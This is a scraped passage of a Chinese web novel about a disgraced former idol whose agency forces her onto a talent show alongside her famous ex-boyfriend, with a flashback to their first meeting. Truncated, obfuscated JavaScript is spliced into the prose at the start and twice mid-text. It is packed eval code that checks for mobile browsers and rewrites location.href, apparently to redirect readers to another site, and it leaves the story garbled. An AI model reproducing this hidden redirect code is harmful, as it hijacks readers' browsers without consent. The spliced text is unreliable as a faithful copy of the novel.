l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071678|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网络上都快要把她给骂死了。 以前她也经常被骂。 但是和现在不一样，现在牵扯上了祁致，祁致是什么人，现在内娱流量最高的男明星之一。 只要和他牵扯上，就难免是一阵腥风血雨。 更何况，她还是前女友。如果她现在混得好就算了，内娱双顶流传点绯闻，不会被骂谁蹭谁流量的情况，说不定还能吸一波过期糖的CP粉。 只不过悲催的是，她现在只是个破十八线，在这个时候和祁致扯上关系，那她绝对有蹭流量的嫌疑。 这段时间，她的黑粉和芝士球都恨不得直接把她手撕了，她怎么可能还敢在这个时候接综艺剧本。 在这个风头上，她最需要做的就是低调行事，尽量躲起来安静拍戏，等这个风头过了，再出现在大众视野里，而不是直接冒头参加综艺继续曝光。 而公司居然不做人，在这个时候把她送上综艺真人秀之类的节目，岂不是相当于把她送上风口浪尖，让她被黑粉骂个尽兴？ 而且综艺这种东西，特别容易被恶剪和有意曲解。 沈亦凝的风评本来就已经差得要死了，等参加完综艺之后，说不定真要彻底被黑成煤炭了。 仲霜看出了沈亦凝浑身上下都在对这个安排充满抗拒，她只是轻勾嘴角，有些嘲讽地笑了一下，“这是公司最近能给你接到的唯一资源，你当然也可以选择不接，下次拿到资源就不知道是什么时候了。” “……” 沈亦凝听出了仲霜的言外之意。 仲霜话里话外都在说：你爱接不接。 要么去参加，要么被隐形雪藏。 就好好思考一下二选一吧。 沈亦凝沉默良久。 仲霜则依旧在絮絮叨叨，企图劝她接受，表面上是在劝她，实际上带着点儿威胁，“公司给你找点资源不容易，趁最近网上对你的关注度很高，在这个流量点多上综艺，能快速在大众面前露脸。” “再加上你前男友不是祁致吗，当红流量歌手，这个热度不蹭白不蹭，在这个时候演戏白白浪费了这个捆绑CP炒作的机会……” 听到这里。 沈亦凝蓦然明白了什么东西。 她知道为什么公司这么着急让她退出剧组了，甚至来不及等她把这部戏给全拍完就让她退了改接综艺。 公司是故意的。 这个时候让她通过综艺快速露脸，还能够及时蹭到“祁致前女友”的流量，虽然她本人现在在内娱没什么名气，但是只要有“祁致前女友”这个名号，无论她是谁，无论她上什么综艺，无论综艺是不是有祁致本人在，只要这个瓜的热度没过去，都会有人买单去看。 公司从来不在乎艺人面临大范围网暴心里压力会如何，他们只在乎艺人能不能替资本挣钱。 让她在恋情瓜曝光，舆论正热的这个关头，送她上综艺，绝对会被喷。不仅能够防爆她，还能够挣到钱。 更关键是蹭一下她前男友祁致的流量。 简直就是赚死了。 而唯一代价就是彻底献祭她，推她上舆论中心，吃她的人血馒头。 至于她会不会被万人唾骂掉入深渊，那就不是资本会考虑的了。 10. 选秀综艺 公司在明目张胆给她挖坑。 沈亦凝什么都知道，但是她其实别无选择。 要想要继续在娱乐圈里混，那必定要舍去一些什么东西。 摆在桌面上的，有好几个综艺项目等她挑选，有部分还是一些挺靠谱的平台。 如果不是恋爱瓜爆出来她的前男友是祁致，这些资源放在以前，沈亦凝压根就看不到。 这些综艺节目看中的不是沈亦凝本身的热度，她对这些心知肚明。 沈亦凝叹了一口气，选择认命。她走向桌前，随意挑选起来。 无论是演戏还是上综艺，她都不喜欢，她从来就只有一个梦想，就是重回舞台唱歌。 所以上什么综艺真人秀，对她来说都一样。于是她看得也十分随意。 《偶像演技派》，去比拼演技的，她本来就不是科班出身，去这种地方那不是随随便便被人黑？ 《我们相恋啦》、《快乐合租屋》，两个综艺都是一群糊咖男女明星凑在一起，硬麦CP，她最近和祁致的恋爱瓜在网上传得沸沸扬扬，去参加这档节目，她不要命了？ 《开荒吧少女》，去荒芜的海岛种田养猪养鸡养牛。这综艺还算正常，最不正常的是拟邀嘉宾名单。睡粉哥劈腿哥等劣迹斑斑的艺人全都在，再加一个她，妥妥留给黑子狂欢聚会的节目。不用想都知道节目播出后弹幕有多热闹。 总之……这么多综艺剧本，就没一个正常的。 沈亦凝越看越想笑。 公司你还敢再明目张胆一点吗，这一看就全是火坑，演都不演了是吧。 沈亦凝快速过着自己手里的综艺剧本，越看越心塞，正想着要不然随便挑一个算了。 毕竟全是垃圾剧本，不管接哪个都特别吸黑粉，不如随便选一个，听天由命算了。 可就在沈亦凝要万念俱灰的时候，一个综艺剧本吸引了她的眼球。 那个综艺的名字叫做《破茧出道营》。 沈亦凝看到“出道”两个字，顿时有些应激，她甚至没翻开综艺节目介绍，就条件反射说了一句，“选秀？” 这是一个唱跳型节目！ 在这个节目上，她可以有重新回到舞台唱歌的机会。 仲霜勾起嘴角，似乎是对沈亦凝的反应十分满意。 其它剧本其实都是幌子，这个《破茧出道营》的综艺本子，才是公司真正要塞给沈亦凝的。 公司里每个人，包括仲霜，几乎对沈亦凝这个人了如指掌，他们知道她热爱舞台，嗜舞如命。只要有让她重登舞台的机会，她就不可能会拒绝。 即使沈亦凝知道，这个综艺里，公司和节目组都给她设了坑。为了更好提高收视率，博取眼球，是绝对不会让她在节目里过得很畅快的。 但是那又怎样。 沈亦凝一定会接。 “是，”仲霜笑眯眯道，“你这几年不是很渴望舞台吗，这就是一个很好的机会，我相信你应该不会拒绝吧。” 沈亦凝没说话。 公司和仲霜猜得没错，沈亦凝的确心里已经蠢蠢欲动，她明知道这是一个火坑，也一定会跳的。 只有站在舞台上的沈亦凝，才真正地拥有灵魂。 “我选《破茧出道营》。”沈亦凝丢下其它综艺剧本，手里只剩下了最后一本剧本。 对于沈亦凝的这个选择，仲霜并不意外，却还在假惺惺地说，“你就不再继续挑一下了？” “不必。”沈亦凝懒得在仲霜面前演戏，直接说了一句，“你们不就是最希望我挑这个本吗？” 被直接戳穿心思，仲霜也不生气，只是在笑，毕竟谁会在乎一只待宰羔羊临死之前发怒呢？ 仲霜扬扬手，示意沈亦凝坐下，“既然你已经选好内容了，就好好看合同内容吧。尽快确定下来，下周末就能参加录制了。” 这款节目早就已经选定人了，提前一个月开始签订合同，给了学员们至少一个月准备才开拍，而放在沈亦凝身上，就是短短一周。 这是一点儿时间都不给她准备。 沈亦凝毫不怀疑自己绝对是节目组临时加人加进去的，如果这两天没有曝光出祁致是她前男友，让节目组看到了她身上的话题度，她才没有这个机会。 沈亦凝坐下来，认真查看合同。 合同里绝对有不对劲的地方。 她一条条认真往下看。 节目策划、报酬、信息保密、违约处理等都特别合理，再看选手导师的拟定名单里也都是正常人，唯一一个黑料最多的艺人估计就是沈亦凝了，而且大多数都是素人，只有小部分是明星练习生。 看到这里，沈亦凝还有些微微诧异。 公司这是开始做人了？ 居然给了她重登舞台的机会，还是星果TV这种大平台推出的节目，如果节目公平公正，以她的实力绝对能冲出重围以新的女团组合重新出道。 唯一黑点大概也是她曾经在SNT待过，后来退团这个黑点了。 只不过就算不参与这个综艺节目，她也总是因为这事儿被黑。 所以沈亦凝压根没有什么可怕的，参加这个节目说不定还能够给她再次翻红的机会。 虽然已经离开舞台很多年。 但沈亦凝永远相信自己的实力。 沈亦凝的心里升腾出一丝希望，就像是枯木逢春，让她整个人都活了过来。 只不过没等她高兴太久。 合同翻到最后一页，有一条附加合同。其它选手导师的合同都是一样的，只有沈亦凝的合同多了一条附加项。 附加合同写着： 「在节目中，必要场合之下，必须遵守节目组给的剧本演，无论剧本如何，必须遵守、不可反抗。否则算违约，违约将以节目给予报酬的30倍赔偿。」 沈亦凝这会儿是真笑出声来了。 是冷笑。 果然这个狗公司，对她一直这么不好。亏她刚才还天真地想，这么好的资源怎么就落她头上了，亏她上一秒还在想，这个综艺好正常。 现在想想真是可笑至极。 一个好好的选秀节目，非要为了收视，给她来个单人剧本，还必须遵从不可反抗。 那岂不是节目组要她在节目里发癫她就得发癫，让她在节目里摆烂她就得摆烂，让她节目组拉屎她就得拉屎（bushi）。 当然这说法夸张了点儿。 但是谁知道节目组会不会突然抽风。 到时候别说靠这个节目成功出道再次翻红了，这么不公平的条件，她结束节目之后，能够活着拍完节目，黑粉不增加都已经不错了。 鱼和熊掌不能兼得，能上这么好的节目还能重返舞台，总要舍弃一些什么东西的。 即使有这个附加条件在，沈亦凝也压根拒绝不了，因为她已经很久很久，没有登上舞台表演过了。 内娱舞台本来就少。 沈亦凝想珍惜每一个机会。 不就是在选秀节目上演戏吗，大不了在节目上发疯，被一个人骂是骂，被一百个人骂也是骂。 兵来将挡水来土掩就是了。 于是沈亦凝直接签订了合同。 把签好名字的合同递还给仲霜的那一秒钟，她在仲霜的脸上看到了一抹十分得意的微笑。 电视剧中的反派都是这样笑的。 笑得沈亦凝毛骨悚然。 但是沈亦凝并不害怕什么附加合同，依旧十分乐观地走出了公司。 谁知刚走出公司的下一秒钟。 《破茧出道营》的节目组官方，就直接在微博里官宣了演员全阵容，并且还@了沈亦凝的个人微博。 这个速度之快，让沈亦凝都有点儿怀疑，节目组是不是早就已经提前编辑好了微博，因为确信她肯定不会拒绝的。 一等到她签了合同之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“节目组你们在搞什么啊，把我们‘芝士球’当日本人整吗？” “节目组，沈亦凝是救过导演的命吗？她上这个节目这么明显想炒CP看不出来呀。” “都已经是前女友了，还上赶着过来蹭流量，你把我妈都看笑了。” 甚至部分芝士球的微博头像还都换成了“抵制沈亦凝”这个文字头像。 沈亦凝：“……” 不是，恋爱瓜和上错车事件骂她就算了，她上个选秀节目，可没有和祁致沾上半点儿关系！ 现在集体出来骂她做什么？ 于是沈亦凝去翻了翻节目组的其它微博，而后发现，节目组微博发了这样一条动态。 ——《破茧出道营》官宣神秘人啦，欢迎音乐制作人祁致参加我们节目，期待@祁致在节目的精彩表现，让我们一「祁」同行，期待各位选手持「致」以恒。最终「破茧出道」！ 这条神秘人的官宣微博，就发在官宣其它导师和选手阵容的前一条。 大概是祁致咖位比其它人高，他又是神秘人，于是先发他也正常。 但是沈亦凝猜测这绝对没有这么简单。 把官宣祁致这条微博发在前边，很容易造成祁致先签约，而后她后脚贴上去的假象啊！！ 而且刚才合同上的导师一栏名字压根没有祁致的名字，否则她怎么可能这么容易就签下来了。 沈亦凝闭上眼睛。 顿时觉得这个节目是真要彻底毁了她。 有额外剧本让她在节目上演戏就算了，这个节目上有祁致过来指导，却故意不把名字曝光出来，让她稀里糊涂签了合同。 节目组为了火。 真是把她当日本人整啊！ 11. 酒后真言 《破茧出道营》这个节目，都还没有开始进行拍摄，节目组就直接给了她这么一个下马威。 可见一周后正常拍摄时，节目组肯定少不了很多骚操作。 心情是真的好不爽。 她明明都已经这么小心，想要避开祁致了。 但是怎么还是这么巧撞上了。 等她以学员身份去录制节目，肯定会跟同样录制节目的音乐制作人祁致撞上。到时候……尴尬不说，还会被曲解攻击的。 公司楼下有风吹过。 沈亦凝紧了紧身上的外套，没忍住打了个喷嚏。昨天的病还没好完全，一大早就要来公司签合同，没休息好不说，现在还受到了这样的打击。 她觉得自己的身体又要开始不舒服了。 随便打了辆车，沈亦凝失魂落魄地回到家，刚想要跟孟觅夏吐槽这件事情，结果孟觅夏这个5G冲浪少女，直接在网上刷到这事儿了。 毕竟…… 沈亦凝签约《破茧出道营》这事儿闹得确实是挺大的，她的黑粉庞大且黏性高＋这个综艺大ip＋祁致本人的流量，三buff叠加，流量能不大那才奇怪了。 在节目组官宣了导师和学员全阵容之后，“芝士球”们纷纷在抖音发布视频，都在呼吁“抵制沈亦凝”，还有刷到了不少祁致粉丝们剪辑好发到抖音上关于“祁沈不渝CP”的洗糖视频。 祁致的粉丝群体活跃度跟沈亦凝本人的黑粉有得一拼，在芝士球们抵制时，黑粉也在不停产出各种骂沈亦凝的视频。 一时之间，抖音里全被这两个群体霸占，就连一些本来不怎么认识沈亦凝的路人，都可以通过刷到这些视频摸着网线认识她。 孟觅夏虽然已经退圈许多年，但是每天一下班就习惯性地刷微博和抖音，怎么可能刷不到。 对于沈亦凝接下这个综艺，孟觅夏有些震惊，“你明知道祁致要去《破茧出道营》，你还去啊？” 沈亦凝有气无力地瘫坐在沙发上，“你难道也信网上说的，我是为了蹭祁致的流量才去的这个节目？” “当然不信！”孟觅夏皱眉，“你怎么可能是蹭前任流量的那种人，但是现在网上都在骂你，我不信没有用啊，关键是网友信啊，你都不知道网友怎么骂你的。” “……”沈亦凝抽了抽鼻子，一时之间说不出话来。 怎么会不知道那些网友怎么骂她呢？其实用脚趾头想都知道啦，她不敢去看而已。 孟觅夏沉默三秒，只想到唯一一个可能性，“你是不是被公司整了，你签了合同才知道祁致也去参加这个节目的？” “果然还是你了解我，就是这样的。该死的公司不做人，放了一块糖引诱我过去，等我跑过去之后，才发现糖下边有块粘鼠板，我就是那只可怜的小老鼠，这下彻底逃也逃不掉了。” 沈亦凝一想到这里，整个人都快哭了，“祁致现在这么红，等节目播出了，他粉丝不知道怎么骂我蹭流量呢。” “我想也是这样的，”孟觅夏叹了一口气，“你们公司心也太黑了，不过……我其实早就已经猜到你们公司会找尽机会让你和祁致炒CP了，毕竟你们公司什么尿性，我一个旁观者都一清二楚。” 沈亦凝说不出话来。 的确如此。 公司想要逼她进深渊里，有的是手段。 “不过呢，你也不需要太悲观啦。”孟觅夏早就不混娱乐圈了，对沈亦凝现在的情况也只能是爱莫能助，唯一能做的就只有尽可能的安慰她了，“其实换个角度想，你去参加《破茧出道营》这件事情，也不全是坏处。” 沈亦凝现在心里有点儿难受。 她其实知道不管多难过，已经签了合同，去参加《破茧出道营》这件事，也已经是板上钉钉的事情了，压根改变不了了。 沈亦凝选择跟孟觅夏聊天，主要还是为了缓解一下难受的心情，于是就这么安安静静地听着孟觅夏去开导她。 孟觅夏也的确担任着开导她的工作，“你想，黑红也是红，虽然网上的人都在骂你，但是起码给你带来了曝光和流量，被大范围网暴固然不太好受，但是比起查无此人、毫无水花的普通艺人来说，也是挺好的了。 你身上又没有什么真的黑料，那群人黑来黑去，不过也只是抓着你‘退团’和‘捆绑CP’这两个点来黑，翻不出什么其它名堂。身正不怕影子斜，趁这个黑流量打开知名度，说不定以后真的有翻身的机会。” 孟觅夏十分认真地在给沈亦凝分析现在的情况。 这么一听，沈亦凝的心情也确实好了不少。 换个角度看现在自己的处境，就会觉得这个自己的人生并没有这么糟糕。 心态决定一切。 现在面对铺天盖地的黑评，沈亦凝唯一能做的就只能是安慰自己“黑红也是红了。” 但实话实说，这个方法还真的有点效果。 沈亦凝突然就想通了，整个人也不再蔫蔫地，既然已经改变不了这个事实，那与其怨天尤人，倒不如想想怎么好好录制综艺来得更有用一些。 更何况，就算提前知道《破茧出道营》这个节目有祁致的存在，她就会放弃重新登上舞台的机会吗？ 沈亦凝还是会去的。 毕竟和前男友重逢的尴尬比起来，不能登上舞台跳舞，会让她觉得更难受。 这么一想，沈亦凝的心情畅快了不少，“明天我去找你吧。” “怎么这么突然？你那儿不忙了么。” “我已经很久没时间练习练舞了，距离节目正式录制还有一周时间，我过去找你练习一下跳舞，正好你是舞蹈老师，那儿有正规的练舞房。” 孟觅夏听出来沈亦凝的语气正常了一些，猜想应该是自己的开导起了作用，于是故意逗她，“你过来找我练舞也是要收钱的啊！” 沈亦凝笑笑，“那不得开个友情价？” “那是当然。” - 至于为什么是等到明天才去。 主要原因是因为，她今天的身体有些不太舒服，昨天晚上熬夜打了点滴，退了烧，感冒之类的还没好全。 她决定让自己休息一天。 给自己的身体好好放一次假。 和孟觅夏结束通话之后，沈亦凝从沙发上站了起来，开始找药吃。 昨天在医院里打完点滴之后，医生还给她开了三天的药，让她带回家吃。 昨天晚上她看过一眼药袋子，感冒灵颗粒和止咳胶囊之类的都有。 只不过……她就这么在家里找了一圈，客厅卧室都找了一遍，都没有找到药的踪迹。 难不成是她把药落在医院里了？ 沈亦凝仔细想了一会儿，最终怀疑可能是把药落在段穆言的车子上了。 段穆言昨天把她接回家。 她昨天刚打完点滴回家，脑袋晕沉沉的，估计下车时忘记顺手把药拿下来了。 沈亦凝有些懊悔的轻拍自己的脑袋，心想自己生病了果真就直接变成了傻子，这么容易丢三落四。 药都忘记拿回来了。 她得打电话给段穆言。 发生了几年前的那件事情之后，这些年她和段穆言之间的关系有点儿微妙，有点事情会想着求助他，他也乐意过来帮助她。节假日两人也会互发祝福，但是平日里却不怎么经常联系。 这些年段穆言换了好几个号码，沈亦凝现在的手机又是新手机。 沈亦凝是一个有时候自己电话号码都记不清的人，换了新手机之后，甚至都没来得及加上段穆言的微信。 他们之间联系对方就只能是通过打电话的方式。 这时候沈亦凝脑子又宕机了一下。 段穆言电话是什么来着？ 昨天两人通过电话之后，她应该记得给他加个备注的。 沈亦凝居然也没想到从通话记录里去找，而是下意识摁了串数字拨打了过去。 这段数字如此熟悉。 导致她第一时间就想到了。 电话打过去，很快再次接通。 对方没出声，沈亦凝不确定究竟是不是段穆言的电话，试探开口又喊了一句，“段穆言？” 那儿本来还有细微的窸窸窣窣的声响，却在此时彻底消失了。 沈亦凝的第六感告诉她事情有些特别不对劲，但是还是把接下来的话说完了，“你能来我家一趟吗……” 我的药好像落你车上了。 她的后半句话还没有说完，听到一声轻嗤。 手机就这么紧贴在她的耳朵旁边，对面略带嘲讽的轻笑声，就这么通过话筒近距离地传入了她的耳膜。 有点儿痒。 感觉也有点儿熟悉。 就好像是很多年前，祁致俯身在她耳边轻笑的感觉一模一样。 明明对方什么都没说，沈亦凝的心里却突然有了一种十分不好的预感，她确定这个电话号码的主人绝对不是段穆言，但是为什么下意识想到的是这个电话号码……她自己也说不上来什么原因。 她的手控制不住地抖了一下，她下意识要赶紧去挂断这个危险的电话。 却在她挂断电话的前一秒，听到电话那头的声音在说。 “你要不看看我是谁呢。” 声音淡漠，却带着几分莫名地缱绻。 她认为是自己的错觉。 但是即使如此，在彻底听清楚对方声音的这一秒钟，沈亦凝的下颚线猛然变得紧绷，整个人也突然紧张了起来。 没有任何开场白。 十分直接的一句话。 对方只用不咸不淡的语气说出这句话，却再度在她心里掀起波涛骇浪。 无形的火花噼里啪啦闪烁在空气中。 她瞬间就确定了他是谁，心跳停滞，浑身血液都凝固。 带着往事的种子迅速萌芽，在此时此刻穿透黑暗破土而出，无数回忆重现脑海，像是黑白色的倒带电影一一重现在脑海里。 他们相恋的那段时间，像是已经发生了很久，却又好像是发生在昨天。 当年，十八岁的沈亦凝还不懂什么是喜欢，于是她以为自己对段穆言是男女之情的那种喜欢。 毕竟他们从小一起长大，段穆言对她很好，她自己也非常依赖他，在困难难过时第一个想到的人就是他，那肯定就是爱了吧。 在她连续两次因为公司恶意打压，在异地独自漂泊没有依靠的时候，都是寻找段穆言吐苦水，再后来的某个雪夜，她对段穆言告白了。 段穆言自然是拒绝了她，他有些无奈地说，“沈亦凝，你其实不喜欢我，你只是依赖我，我永远是你哥哥。” 沈亦凝笃定地说，“段穆言，我能够确定喜欢你。” 可喜欢究竟是什么样的。她其实不知道，她只知道依赖他，想他陪着自己。 直到后来遇到了祁致。 她才懂了什么是真正的喜欢。 只是她和祁致在一起后，她很少和祁致说“我喜欢你”，她在他面前说出这种直接表达爱意的话的次数屈指可数。 说来也奇怪。 对段穆言，她可以十分热烈地表达自己的喜欢，跟在他身后说喜欢他离不开他。 可是面对自己真正喜欢的人之后，这种话反而说不出口了，甚至觉得说点暧昧的话都有点儿难为情。 沈亦凝是一个执拗且不会表达爱的人，或许像她这样的人压根就不适合谈恋爱。 和祁致真正恋爱之后的她更是嘴硬、爱说反话、爱生闷气，她第一次谈恋爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈亦凝却坐在原地一动不动，她捕捉到了祁致脸上的在意和难过，心里突然有了一种做坏事成功的快感，甚至有些邪恶的高兴。 她想验证他在不在乎她。 只不过用错了方式。 她想看一眼他的心脏，于是碾碎了他的身体，这不是她的本意，但她只想到了这个方式。 有这么一瞬间。 祁致有想要发疯的冲动，在听到她嘴里说出“段穆言”这个名字的时候，无力感瞬间把他吞噬。 他突然后悔自己为什么要走，没看住她，让她喝醉。 让他撞见她酒后喊其它男人的名字。 她说让他滚，他便听话出去转一圈，等她消气再回来哄她。 因为他懂得她的口是心非。 祁致一直都知道沈亦凝是完全没有任何安全感的人，她像一片忧郁的云，高兴时会撒娇，难过时举起刀毫不留情地刺向自己身边最亲密的人。 但是没关系。 他懂得她的词不达意，他也愿意哄她，甚至有底气确定她到底真正想说什么想要什么。 祁致相信他能听到她沉默后隐藏的声音以及欲言又止中埋葬的真正情绪。 但他唯一没有底气的是。 他无法确定她究竟是不是真的喜欢他，他甚至不敢追问要个确切的回答。 祁致心里堵着一团气，他拼命想要证明什么，双手抵住她的肩膀，急切需要一个答案，“你看看清楚我究竟是谁。” 但沈亦凝那时候已经一句话说不出来了，干呕了一下就要吐。 最后也的确在卫生间里吐得前仰后合。 她始终没有告诉他，那只是她的恶作剧。 而他也没再问，因为她害怕她是在酒后吐真言。 有的问题没有答案就是最好的答案。 吐过之后发生了什么？沈亦凝已经记不清楚。 沈亦凝只知道第二天她换上了新的衣服，床单地板卫生间都干干净净，被她扔得满地都是的啤酒瓶已经被收拾进垃圾桶里丢掉。 她猜测应该是祁致晚上回来清理过，具体细节已经不太明白。 也忘记了自己做过一件多混蛋的事情——喝醉时故意在男朋友面前提另外一个男人的名字。 把人气个半死，过后把这事儿忘得干干净净。 真是个混蛋行为。 但之所以沈亦凝对这句话这么熟悉，甚至有些应激，是因为祁致本人把这件事情记得十分清楚。 后来的每次事前，他每次都会问她同一句话，“你先看看我是谁。”等她说出他名字了，才进行下一步。 有时会忘记，事后他才想起来，但是他执拗得依旧要问。即使方式她已经累了，只想快点儿睡觉休息，面对这个问题都懒得敷衍他，他也硬要弄醒她， “我是谁。” “沈亦凝，你看清楚我是谁。” 温热的气息吞吐在她耳边。 非要她回答不可。 每次都是如此。 像是在暗暗地和什么人较着劲一样。 就像现在这样。 一模一样的台词，明明这句话并不暧昧，甚至都谈不上寒暄，但是还是硬生生地把她拉回了过往。 回溯过去实在是太没意思。 当初已经决定好了分开，沈亦凝就不希望和他还有什么藕断丝连，最好是和他断得干干净净才好。 沈亦凝现在就想直接挂断电话，却又怕太过生硬和刻意，于是佯装镇定，十分平静地开口。 “抱歉，打错电话了。” 声音官方得没有任何感情，说完之后就直接迅速地掐断了电话。 12. 长白晴空 沈亦凝挂断电话之后，脑子嗡嗡作响。 她怎么会莫名其妙记起这个电话。 她不是一个爱记电话号码的人，就连自己换了新手机号码之后，她都要花好长的时间才能记住。 当初跟祁致谈恋爱的时候，她也不想记他的号码。毕竟那会儿两个人都有其它私人联系方式，在国内用微信，在国外用KakaoTalk。 没必要硬要把祁致的手机号码记下来。 但是祁致却硬要她记住，非说万一有什么必要的场合肯定会用到的。于是她花时间记住他的号码。 只是不常拨打他的电话。 无论是恋爱还是分开后，打他电话的次数屈指可数。 恋爱的时候都是用KakaoTalk联系，分开后就更不可能打他电话了，否则这不是纯骚扰吗？ 沈亦凝都快记不住打他电话是在什么时候了，是三年前还是五年前？ 总之已经是十分久远之前。 奇怪的是，这么多年过去，他居然没有换过手机号码。 更奇怪的是，她要打电话的时候，总是莫名其妙地记起来这11位的手机号码。 沈亦凝翻了一下昨天晚上的拨打记录，发现昨天她也打了和电话过去，只不过通话时间只有不到10秒钟。 沈亦凝大骇。 她这都做了什么蠢事，莫名其妙骚扰他一次就算了，居然还连续骚扰两次。 祁致该不会觉得她是故意的吧。 在他正当火的时候凑上去，为了和他套近乎，蹭他流量？ 沈亦凝甚至不敢去细想。 直接毫不留情地就把这个电话号码拉入了黑名单。 打扰祁致的确不是她的本意。 只希望他不要误解她才好。 但是已经这么多年没有联系过了，突然连续给他打两个电话，能不多想那才奇怪了。 沈亦凝越想越觉得心乱如麻，喉咙里也像落满了灰尘，开始控制不住地猛烈咳嗽起来。 她都没有了去找药吃的心思，整个人尴尬得想要抓狂。 沈亦凝想要安慰自己——也许祁致不知道是他这个前女友打来的电话呢？ 但是很显然，他刚才的那个语气，如此疏离，带着点儿嘲讽的意味，以及说的那句话，都已经很明确地表明。 他知道是她。 沈亦凝在原地，有些无语自己刚才的傻der行为，怀疑自己是被鬼附身了，才会一而再再而三地打错电话。 也非常奇怪。 明明已经过去这么多年，怎么突然这串电话号码就如此猝不及防进入她的脑海里呢？ 让她每次都反应不过来，就已经先拨打过去了。 总结起来，她觉得肯定是最近“祁致”这个名字在她身边出现的频率太高的原因。 已经经过了这么多年，她应该已经把她忘记了才对。至少这些年很少再记起他，谁知道他再次闯入她的生命里时，依旧能够掀起如此大的风浪。 让沈亦凝压根就招架不住。 她就像溺水刚获救的人，在原地里深呼吸了好一会儿，才慢慢冷静下来。 沈亦凝已经完全忘记了吃药的事情，随便喝了一口热水，倒在沙发上，静静地盯着天花板开始发呆。 她控制不住去想——祁致两次接到她莫名其妙的骚扰电话时，会是一个什么样的心情？ 大概是觉得很烦吧。 毕竟他早就已经忘记过去往前走了啊。 她记起两年前一个很偶然的机会，她在网上刷到过祁致的一个采访。 当时的他早就已经火遍大江南北，而她已经退团回国，正处在人生中最低谷的时候。 采访他的主持人问他，“你刚出道是以一首《我想你》被大众熟知，现在这首歌在音乐播放平台的热度依旧居高不下，大家都猜测，这是你写给前女友的歌哦？” 主持人用十分调笑的语气说出这句话，是在开玩笑，也是在试探他，想要从他嘴里挖出一些什么东西来。 当时祁致从出道一首《我想你》，一经发行就是王炸，凭借一首歌成功走红，出道及巅峰。 《我想你》这首出道处女作品发行没多久，他还陆续发行了专辑《长白晴空》，专辑里藏着数十首歌，里边全是他个人原创作词作曲的歌，清一色都是苦情歌。 几乎是发一首火一首的存在，专辑中以《极光》和《两秒钟》最为火爆，刚发行那会儿抖音十有九条的配乐都是这两首歌。 一个艺人在火起来的时候，就会被扒，大家说他专辑《长白晴空》里的歌十分不对劲，有一种受情伤很深的感觉。 因为代入感实在是太强，祁致被听众们誉为“情歌王子”。 大家纷纷猜测他是不是之前谈过恋爱，受过情伤才写出的《长白晴空》里的歌。 祁致发行专辑《长白晴空》这件事情，沈亦凝也知道。 甚至在看到这个专辑名字的时候，她愣了一瞬间。 长白晴空，是他们第一次见面时，在海边小酒馆里喝的那杯酒的名字。 他们初遇是个雪天。 沈亦凝同期练习生或已经出道，有点小名气，或已经退出公司转行，在自己所在的领域里闪闪发光，唯独她一事无成。 那年她十七岁。 面临第一次公司恶意压票，没能出道，心灰意冷之下，她有过退圈放弃的念头。当时距离除夕夜只剩下不到20天，趁着放假，她一个人独自跑到了Kirkenes。 希尔克内斯。 挪威最边远的一个小城镇。 她光是买来回飞机票，就已经快花光了自己身上所有的积蓄。 那时的她无依无靠，身上没什么钱，只剩下一身无惧无畏，一张机票去到陌生的国度，只为了逃离自己一塌糊涂的生活。 沈亦凝有过一段真的快要坚持不下去的时间，就是在这个时候，如果不离开公司那个环境，她觉得自己快要疯掉。 根本不公平的公司制度，一直排挤她的异国练习生，全是压得她喘不过气的理由。 沈亦凝心灰意冷，只想要出门散散心。 她记得那年挪威下了一场很大的雪，落日是铁灰色，空气带着几分海水的咸湿。 她在异国他乡漫无目的地走着，突然路过一家小酒馆。那是一家并不怎么显眼的酒馆，门面不大，牌匾也小。 沈亦凝自己都说不清楚，为何就在一排小店里选择了他，大概是看到小酒馆的牌匾上的店名，写的是中文。 名字叫“极光”。 除此之外，吸引她的另外一个原因大概是，她看到了这家小酒馆门口有一棵树。 这棵树的叶子已经全部掉光，只留下了荒山垂暮的枯枝，仿佛风一吹就能折断。 沈亦凝断定这棵树活不过来年春天。 她顿时从这棵树身上联想到了自己，因为她也不确定自己能不能在公司里撑到明年。 于是她停下了脚步，直接推开门走了进去，就在她走进小酒馆的下一秒，轻抬眸，就这么猝不及防地对上一双极其漂亮的眼睛，那眼睛的主人便是祁致。 酒店的灯光偏冷偏暗。 祁致独自一人在舞台上，侧身坐在一个高凳上，怀里抱着一把吉他，放在琴弦上的手冷白分明，懒洋洋的搭出一只手握住面前青蓝色话筒，在这家小酒吧的表演台上唱着歌。 薄白眼皮垂睨到人群里，冷不防和她这么对上视线。 他们几乎在对视上的那一瞬间里，同时读出了对方眼里一闪而过的诧异。 在异国他乡遇到同个国家的人，本来就不是一件容易的事情。 对视两秒，同时移开视线。 他继续自己的表演，而她则低调地找到了一个角落里的座位坐下。 有服务生过来问她要喝点儿什么，她用不太流利的英语点 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直到过了几分钟后，服务生端上一杯酒。 她拿起来轻抿一口，发现这并不是正宗的酒。 反而像青提味的果汁，酒精度数近等于零。 被骗了。 沈亦凝皱紧眉头，决定要和服务生算账，抬起头的瞬间，却又再次对上那双漂亮的眼睛。 少年背上还背着吉他，逆着光朝她走过来，“酒馆规定不给未成年喝酒。” 她一瞬间有些失语，压根不知道他什么时候走下舞台的，待她反应过来时，他已经十分自然地拉开凳子在她面前坐下。 他笑着说，“还有，这果酒的名字叫长白晴空，免费请你喝。” 后来她才知道，他是这家酒馆的老板。 以及这就是他们的初遇。 于是在多年之后，他们分开很久了，沈亦凝看到祁致专辑名字是《长白晴空》的那一秒，她承认她的心脏极轻微地触动了一下。 有那么一瞬间，沈亦凝感觉他或许还放不下她，不然怎么会把自己专辑名字起了个《长白晴空》的名字？ 